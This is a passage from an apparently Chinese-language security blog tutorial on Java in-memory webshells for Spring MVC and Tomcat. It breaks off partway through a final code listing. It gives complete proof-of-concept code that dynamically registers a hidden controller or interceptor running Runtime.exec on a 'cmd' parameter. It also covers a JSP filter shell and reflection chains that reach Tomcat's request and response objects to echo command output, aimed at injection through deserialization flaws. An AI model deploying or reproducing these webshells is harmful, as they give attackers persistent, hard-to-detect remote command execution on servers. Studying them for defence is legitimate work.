import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Method;

@Controller
public class Controller_Controller {
@RequestMapping("/control1")
public String Inject() throws Exception {

//获取当前上下文环境
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

//手动注册Controller
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = Controller_Shell.class.getDeclaredMethod("shell");
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, new Controller_Shell(), method);
return "forward:/index.html";
}

public class Controller_Shell{

public Controller_Shell(){}

public void shell() throws IOException {

//获取request
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}

}

首先访问/control1路由,由于Controller默认会将结果交给View处理,返回值通常会被解析成一个页面路径,所以这里会报404错误

然后访问我们定义恶意Controller的路由/shell,并进行get传参

Interceptor型内存马

基础

demo

先给出我调整后的目录结构,这样项目结构就非常清晰:

image-20250518135025765

  • SpringMVCApplication这一启动类必须要放到包下。
  • Controller包下是Controller内存马的相关类
  • Interceptor包下是Interceptor内存马的相关类
  • WebConfig作为配置类,本项目主要用来注册Interceptor

修改后的BasicController如下(模拟正常的Spring服务还是调用该控制器)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package SpringMVC.Controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class BasicController {
// 重构控制器方法,返回值不能为静态目录下的资源,否则无法调用Interceptor

@RequestMapping("/hello")
@ResponseBody
public String hello() {
return "Hello";
}

@RequestMapping("/login")
@ResponseBody
public String login() {
return "Login";
}
}

不要设置方法的返回值是静态文件,不然后面将无法触发Interceptor。

概述

Spring MVC里的Interceptor与Tomcat里的Filter类似,都是拦截用户请求并做一些处理。既然功能相似,Spring Boot又内置了Tomcat,那么二者会不会有冲突之处呢?并不会,该问题下面会解答。

那么如何构造一个简单的Interceptor呢?在Spring MVC中定义一个Interceptor,主要有以下 2 种方式:

  • 通过实现HandlerInterceptor接口或继承HandlerInterceptor接口的实现类(例如 HandlerInterceptorAdapter)来定义
  • 通过实现WebRequestIntercepto接口或继承WebRequestInterceptor接口的实现类来定义

当然,第一种方法的HandlerInterceptorAdapter在Spring Framework 5.3/Spring Boot 2.4被弃用了。

本文通过实现HandlerInterceptor接口构造Interceptor,先看看HandlerInterceptor接口有几个方法:

image-20250521202556872

  • preHandle:该方法在控制器的处理请求方法前执行,其返回值表示是否中断后续操作,返回true表示继续向下执行,返回 false 表示中断后续操作。
  • postHandle:该方法在控制器的处理请求方法调用之后、解析视图之前执行,可以通过此方法对请求域中的模型和视图做进一步的修改。
  • afterCompletion:该方法在控制器的处理请求方法执行完成后执行,即视图渲染结束后执行,可以通过此方法实现一些资源清理、记录日志信息等工作。

所以一个简单的Interceptor如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.example.springweb.Interceptor;

import org.springframework.web.servlet.HandlerInterceptor;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class BasicInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {

String url = request.getRequestURI();
if (url.contains("/hello")) {
return true; // 放行
}

response.setContentType("text/plain;charset=UTF-8");
response.getWriter().write("This isn't hello");
return false; // 拦截
}

}

接下里我们需要将其注册到配置中,使我们访问服务的时候可以经过它:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example.springweb;

import org.example.springweb.Interceptor.BasicInterceptor;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

@Configuration
public class WebConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
//设置成访问所有路径都经过BasicInterceptor
registry.addInterceptor(new BasicInterceptor())
.addPathPatterns("/**");
}

然后我们运行,并且访问不包含/hello的路由

image-20250521203612700

request调用流程

前面提出了一个问题:Spring MVC里的Interceptor与Tomcat里的Filter是否会有冲突?

事实上,当一个Request发送到Spring应用时,大致会经过如下几个层面才会进入Controller层:

1
HttpRequest --> Filter --> DispactherServlet --> Interceptor --> Controller

请求首先进入Filter,然后由DispatcherServlet进行调度。在DispatcherServlet内部,会经过注册的HandlerInterceptor,然后才会进入具体的Controller方法

接下来我们进行调试,看当一个Request发送到Spring应用的时候,是如何一步步走到Controller的

在ApplicationFilterChain#internalDoFilter处下一个断点,可以看到此时的调用栈是和启动Tomcat时相同的

image-20250521204705704

在internalDoFilter方法的最后,也就是走完了所有的Filter,会调用HttpServlet#service方法。

HttpServlet#service方法最后会调用到DispatcherServlet#doDispatch方法,调用栈如下:

image-20250521205823230

跟进doDispatch方法

image-20250521205925734

继续跟进getHandler方法

该方法会通过遍历this.handlerMappings来获取HandlerMapping类实例mapping

image-20250521210252868

跟进mapping.getHandler方法,先调用getHandlerInternal方法获得handler,然后调用getHandlerExecutionChain方法返回HandlerExecutionChain类的实例:

image-20250521210524711

该方法通过adaptedInterceptors(类型:List)获取所有Interceptor后进行遍历:

image-20250521210904876

this.adaptedInterceptors中可以看见一个我们自己定义的Interceptor,剩下两个便是系统固定的

image-20250521211020892

然后通过chain.addInterceptor方法将所有Interceptor添加到HandlerExecutionChain中。最后返回到DispatcherServlet#doDispatch(),调用mappedHandler.applyPreHandle方法:

image-20250521211520222

跟进后就到我们自定义的Interceptor的preHandle方法了

最后,又回到ApplicationFilterChain#internalDoFilter方法,回到Tomcat的流程

攻击思路

通过以上分析,Interceptor实际上是可以拦截所有想到达Controller的请求的。下面的问题就是如何动态地注册一个恶意的Interceptor了。学了很多类型的内存马,我们不难想出思路:

  • 获取当前运行环境的上下文
  • 实现恶意Interceptor
  • 注入恶意Interceptor

获取环境上下文

在Controller型内存马中,给出了四种获取Spring上下文ApplicationContext的方法。下面我们还可以通过反射获取LiveBeansView类的applicationContexts属性来获取上下文。

1
2
3
4
5
6
// 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性
java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
// 2. 属性被 private 修饰,所以 setAccessible true
filed.setAccessible(true);
// 3. 获取一个 ApplicationContext 实例
WebApplicationContext context =(WebApplicationContext) ((LinkedHashSet)filed.get(null)).iterator().next();

org.springframework.context.support.LiveBeansView类在spring-context 3.2.x版本才加入其中,所以比较低版本的 spring 无法通过此方法获得ApplicationContext的实例。

事实上,我们需要把恶意Interceptot给add到adaptedInterceptors里,所以需要先获得adaptedInterceptors:

1
2
3
4
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<Object> adaptedInterceptors = (ArrayList<Object>)field.get(abstractHandlerMapping);

实现恶意Interceptor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class Shell_Interceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
return true;
}
return false;
}
}

注入恶意Interceptor

把恶意Interceptot给add到adaptedInterceptors里:

1
2
3
//将恶意Interceptor添加入adaptedInterceptors
Shell_Interceptor shell_interceptor = new Shell_Interceptor();
adaptedInterceptors.add(shell_interceptor);

完整POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package org.example.springweb.Interceptor;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@Controller
public class Interceptor_Controller {
@ResponseBody
@RequestMapping("/control2")
public void Inject() throws Exception {

//获取上下文环境
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());

//获取adaptedInterceptors属性值
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean(RequestMappingHandlerMapping.class);
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);


//将恶意Interceptor添加入adaptedInterceptors
Shell_Interceptor shell_interceptor = new Shell_Interceptor();
adaptedInterceptors.add(shell_interceptor);
}

public class Shell_Interceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
return true;
}
return false;
}
}

}

先访问/control2路由,之后成功执行命令

image-20250521212357597

内存马回显技术

所谓回显,其实就是获取命令执行的结果,这种技术常用于目标机器不出网,无法反弹shell的情况。对于Java的中间件来讲,其关键就是获取request和response对象

回显示例

这里我们以上文提到的Tomcat Filter内存马为例,获取对应的回显,关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<%! public class Shell_Filter implements Filter {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
response.setContentType("text/html; charset=UTF-8");
PrintWriter writer = response.getWriter();
if (cmd != null) {
try {
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();

//将命令执行结果写入扫描器并读取所有输入
Scanner scanner = new Scanner(in).useDelimiter("\\A");
String result = scanner.hasNext()?scanner.next():"";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}
}
%>

image-20250514202101034

上述方式我们是通过JSP文件来注入内存马的。由于JSP中内置了一些关键对象,所以我们能够很容易地获得Request和Response对象,并能通过他们来获取目标JVM的上下文Context。那如果我们要通过反序列化漏洞来注入内存马,又如何获取到目标JVM的request和response对象呢?

ThreadLocal Response回显

思路来自于@kingkk师傅

首先要注意的是,我们寻找的request对象应该是一个和当前线程ThreadLocal有关的对象,而不是一个全局变量。这样才能获取到当前线程的相关信息。最终我们能够在org.apache.catalina.core.ApplicationFilterChain类中找到这样两个变量*lastServicedRequestlastServicedResponse*。并且这两个属性还是静态的,我们获取时无需实例化对象

image-20250514204016417

ApplicationFilterChain#internalDoFilter中,Tomcat会将request对象和response对象存储到这两个变量中

image-20250514204108008

虽然此时的ApplicationDispatcher.*WRAP_SAME_OBJECT*false,但是我们后续可以通过反射修改,正常为其赋值的代码如下:

image-20250514204247896

可以总结思路如下

  1. 反射修改ApplicationDispatcher.WRAP_SAME_OBJECT的值,通过ThreadLocal#set方法将request和response对象存储到变量中
  2. 初始化lastServicedRequestlastServicedResponse两个变量,默认为null
  3. 通过ThreadLocal#get方法将request和response对象从*lastServicedRequestlastServicedResponse*中取出

反射存储request和response

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//反射获取所需属性
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

//使用modifiersField反射修改final型变量
java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

//将变量WRAP_SAME_OBJECT_FIELD设置为true
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)){
WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
}

初始化变量

由于变量在Tomcat初始化运行的时候会被设置为null,因此我们还需要初始化lastServicedRequest和lastServicedResponse变量为ThreadLocal类

1
2
3
4
5
6
7
if (lastServicedRequestField.get(null)==null){
lastServicedRequestField.set(null, new ThreadLocal<>());
}

if (lastServicedResponseField.get(null)==null){
lastServicedResponseField.set(null, new ThreadLocal<>());
}

获取request变量

1
2
3
4
5
6
if(lastServicedRequestField.get(null)!=null){
ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
ServletRequest servletRequest = (ServletRequest) threadLocal.get();
System.out.println(servletRequest);
System.out.println((HttpServletRequest) servletRequest == req);
}

下面我们通过一个简单的demo看看效果,编写一个简单的Servlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import org.apache.catalina.core.ApplicationFilterChain;

import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

@WebServlet("/echo")
public class Tomcat_Echo extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

try {

//反射获取所需属性
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

//使用modifiersField反射修改final型变量
java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

//将变量WRAP_SAME_OBJECT_FIELD设置为true,并初始化lastServicedRequest和lastServicedResponse变量
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)){
WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
}

if (lastServicedRequestField.get(null)==null){
lastServicedRequestField.set(null, new ThreadLocal<>());
}

if (lastServicedResponseField.get(null)==null){
lastServicedResponseField.set(null, new ThreadLocal<>());
}

//获取request变量
if(lastServicedRequestField.get(null)!=null){
ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
ServletRequest servletRequest = (ServletRequest) threadLocal.get();
System.out.println(servletRequest);
System.out.println((HttpServletRequest) servletRequest == req);
}

} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}
}

下断点进行调试,第一次请求/echo,由于IS_SECURITY_ENABLED的默认值是false,所以执行到service()方法

image-20250514212521041

service()中调用doGet(),就调用到了poc中的doGet()方法中,对上边提到的三个变量进行了赋值:

image-20250514212755497

之后WRAP_SAME_OBJECT变为true,进入了if,将lastServicedRequestlastServicedResponse设为object类型的null

第二次访问/echo的时候随便get传参一下

image-20250514213006216

由于第一次已经将WRAP_SAME_OBJECT赋值,所以这次顺利进去if从句中并进行赋值

image-20250514213057269

接着走到我们自己写的doGet方法中,可以发现获取到的正是当前Servlet线程中存储的request

image-20250514213228464

在日志里打印了出来

image-20250514213355708

局限性

如果漏洞在ApplicationFilterChain获取回显Response代码之前,那么就无法获取到Tomcat Response进行回显。如Shiro RememberMe反序列化漏洞,因为Shiro的RememberMe功能实际上就是一个自定义的Filter。我们知道在ApplicationFilterChain#internalDoFilter方法中,doFilter方法实际上是在我们获取response之前的。因此在Shiro漏洞环境下我们无法通过这种方式获得回显。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private void internalDoFilter(ServletRequest request,
ServletResponse response)
throws IOException, ServletException {

// Call the next filter if there is one
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
try {
...
} else {

//Shiro漏洞触发点
filter.doFilter(request, response, this);
}
...

// We fell off the end of the chain -- call the servlet instance
try {

//response回显触发点
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}
...
} else {
servlet.service(request, response);
}
}
...
}

通过全局存储Response回显

思路来自于@Litch1师傅

Servlet容器是Java Web的核心,因此很多框架对于该容器都进行了一定程度的封装。不同框架、同一框架的不同版本的实现都有可能不同,因此我们很难找到一种通用的获取回显的方法。

比如我们上文通过ThreadLocal类来获取回显的方式就无法适用于Shiro框架下,那么我们能不能换一种思路,寻找Tomcat中全局存储的Request和Response呢?

但我们知道想要获取回显,request和response对象必须是属于当前线程的,因此通过全局存储获取回显的关键就在于找到当前代码运行的上下文和Tomcat运行上下文的联系

寻找全局Response

首先我们先来寻找一下Tomcat中的一些全局Response。在AbstractProcessor类中,我们能够找到全局response

image-20250514214002742

调用栈分析

我们来分析一下Tomcat的调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
doGet:25, Tomcat_Echo
service:655, HttpServlet (javax.servlet.http)
service:764, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
...
service:357, CoyoteAdapter (org.apache.catalina.connector)
service:382, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:895, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1722, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

调用了Http11Processor#service方法

image-20250514214521200

Http11Processor继承了AbstractProcessor类,这里的response对象正是AbstractProcessor类中的属性,因此我们如果能获取到Http11Processor类,就能获取到response对象

那么下面我们就找一找那里能够获取到processor。在AbstractProtocol的内部类ConnectionHandler#register方法中,将processor的信息存储在了属性global中

1
2
3
4
5
6
7
8
9
protected void register(Processor processor) {
if (this.getProtocol().getDomain() != null) {
synchronized(this) {
try {
...
RequestInfo rp = processor.getRequest().getRequestProcessor();
rp.setGlobalProcessor(this.global);
...
}

image-20250515155147826

该属性中存储了一个RequestInfo的List,其中在RequestInfo中我们也能获取Request

image-20250515155254667

image-20250515155334500

我们接着往下看,调用栈调用了内部类ConnectoinHandler的process()方法,该方法会调用register方法将processor存储在global中

image-20250515155503039

至此我们的调用链如下

1
AbstractProtocol$ConnectoinHandler#process()------->this.global-------->RequestInfo------->Request-------->Response

现在我们的工作就是获取AbstractProtocol类或者继承AbstractProtocol的类,从最开始的Http11Processor#service方法中知道还必须实现Adapter接口,继续看调用链。在CoyoteAdapter类中,存在一个connector属性

image-20250515160506526

看Connector类的定义,存在和AbstractProtocol相关的protocolHandler属性

看调用链,该属性的值为一个Http11NioProtocol对象,并且该类继承了AbstractProtocol类

image-20250515160751453

此时我们的调用链变成如下

1
Connector----->Http11NioProtocol----->AbstractProtocol$ConnectoinHandler#process()------->this.global-------->RequestInfo------->Request-------->Response

下面就是获取Connector了,Tomcat在启动时会通过StandardService创建Connector

image-20250515161745438

StandardService#addConnector如下,该方法会将Connector放入属性connectors

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public void addConnector(Connector connector) {

Lock writeLock = connectorsLock.writeLock();
writeLock.lock();
try {
connector.setService(this);
Connector results[] = new Connector[connectors.length + 1];
System.arraycopy(connectors, 0, results, 0, connectors.length);
results[connectors.length] = connector;
connectors = results;
} finally {
writeLock.unlock();
}

try {
if (getState().isAvailable()) {
connector.start();
}
} catch (LifecycleException e) {
throw new IllegalArgumentException(sm.getString("standardService.connector.startFailed", connector), e);
}

// Report this property change to interested listeners
support.firePropertyChange("connector", null, connector);
}

最终我们的调用链如下

1
StandardService----->Connector----->Http11NioProtocol----->AbstractProtocol$ConnectoinHandler#process()------->this.global-------->RequestInfo------->Request-------->Response

下面的工作就是获取StandardService对象了,在此之前我们先了解一下Tomcat的类加载机制

Tomcat的类加载机制

众所周知,Tomcat使用的并不是传统的类加载机制,我们来看下面的例子

我们知道,Tomcat中的一个个Webapp就是一个个Web应用,如果WebAPP A依赖了common-collection 3.1,而WebApp B依赖了common-collection 3.2。这样在加载的时候由于全限定名相同,因此不能同时加载,所以必须对各个Webapp进行隔离,如果使用双亲委派机制,那么在加载一个类的时候会先去他的父加载器加载,这样就无法实现隔离。

Tomcat隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个定制的ClassLoader就是WebappClassLoader

那么我们又如何将原有的父加载器和WebappClassLoader联系起来呢?这里Tomcat使用的机制是线程上下文类加载器Thread ContextClassLoader。

Thread类中有getContextClassLoader()setContextClassLoader(ClassLoader cl)方法用来获取和设置上下文类加载器。如果没有通过setContextClassLoader(ClassLoader cl)方法设置类加载器,那么线程将继承父线程的上下文类加载器,如果在应用程序的全局范围内都没有设置的话,那么这个上下文类加载器默认就是应用程序类加载器。对于Tomcat来说ContextClassLoader被设置为WebAppClassLoader(在一些框架中可能是继承了public abstract WebappClassLoaderBase的其他Loader)。

因此WebappClassLoaderBase就是我们寻找的Thread和Tomcat 运行上下文的联系之一。

这里通过调试,我们能够看到这里的线程类加载器是继承了WebAppClassLoaderParallelWebAppClassLoader

image-20250515162413487

其中我们同样能获取到StandardService

image-20250515162920570

构造Payload

按照上文对调用栈分析的思路,我们可以依次构造出如下Payload

获取StandardContext

1
2
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

获取ApplicationContext

StandardContext中没有直接的方法获取context,因此我们需要通过反射获取

image-20250515163545927

1
2
3
Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
org.apache.catalina.core.ApplicationContext ApplicationContext = (org.apache.catalina.core.ApplicationContext)context.get(standardContext);

获取StandardService

同样使用反射获取

1
2
3
4
//获取StandardService
Field standardServiceField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("service");
standardServiceField.setAccessible(true);
StandardService standardService = (StandardService) standardServiceField.get(applicationContext);

获取Connector

1
2
3
4
5
//获取Connector
Field connectorsField = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("connectors");
connectorsField.setAccessible(true);
Connector[] connectors = (Connector[]) connectorsField.get(standardService);
Connector connector = connectors[0];

获取Handler

我们可以通过Connector#getProtocolHandler方法来获取对应的protocolHandler

image-20250515165410237

这里获取的protocolHandler是Http11NioProtocol对象,前面我们分析过了该类继承了AbstractProtocol类,下面我们再通过反射获取Handler——内部类ConnectionHandler

1
2
3
4
5
//获取Handler
ProtocolHandler protocolHandler = connector.getProtocolHandler();
Field handlerField = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredField("handler");
handlerField.setAccessible(true);
org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);

获取内部类ConnectionHandler的global属性

1
2
3
4
//获取内部类AbstractProtocol$ConnectionHandler的global属性
Field globalHandler = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalHandler.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalHandler.get(handler);

获取processors

global属性RequestGroupInfo类中的processors数组用来存储RequestInfo对象,下面我们来获取RequestInfo对象,进而获取request对象

1
2
3
4
//获取processors
Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsField.setAccessible(true);
List<RequestInfo> requestInfoList = (List<RequestInfo>) processorsField.get(global);

最后我们获取request和response对象

获取request和response

这里我选择进一步获取org.apache.catalina.connector.Request对象,因为它继承自HttpServletRequest,我们可以通过PrintWriter类直接获取回显

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//获取request和response
Field requestField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
requestField.setAccessible(true);
for (RequestInfo requestInfo : requestInfoList){

//获取org.apache.coyote.Request
org.apache.coyote.Request request = (org.apache.coyote.Request) requestField.get(requestInfo);

//通过org.apache.coyote.Request的Notes属性获取继承HttpServletRequest的org.apache.catalina.connector.Request
org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
org.apache.catalina.connector.Response http_response = http_request.getResponse();

PrintWriter writer = http_response.getWriter();
String cmd = http_request.getParameter("cmd");

InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext()?scanner.next():"";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
}

完整poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;

@WebServlet("/response")
public class Tomcat_Echo_Response extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

//获取StandardService
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

System.out.println(standardContext);

try {
//获取ApplicationContext
Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(standardContext);

//获取StandardService
Field standardServiceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
standardServiceField.setAccessible(true);
StandardService standardService = (StandardService) standardServiceField.get(applicationContext);

//获取Connector
Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectorsField.setAccessible(true);
Connector[] connectors = (Connector[]) connectorsField.get(standardService);
Connector connector = connectors[0];

//获取Handler
ProtocolHandler protocolHandler = connector.getProtocolHandler();
Field handlerField = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredField("handler");
handlerField.setAccessible(true);
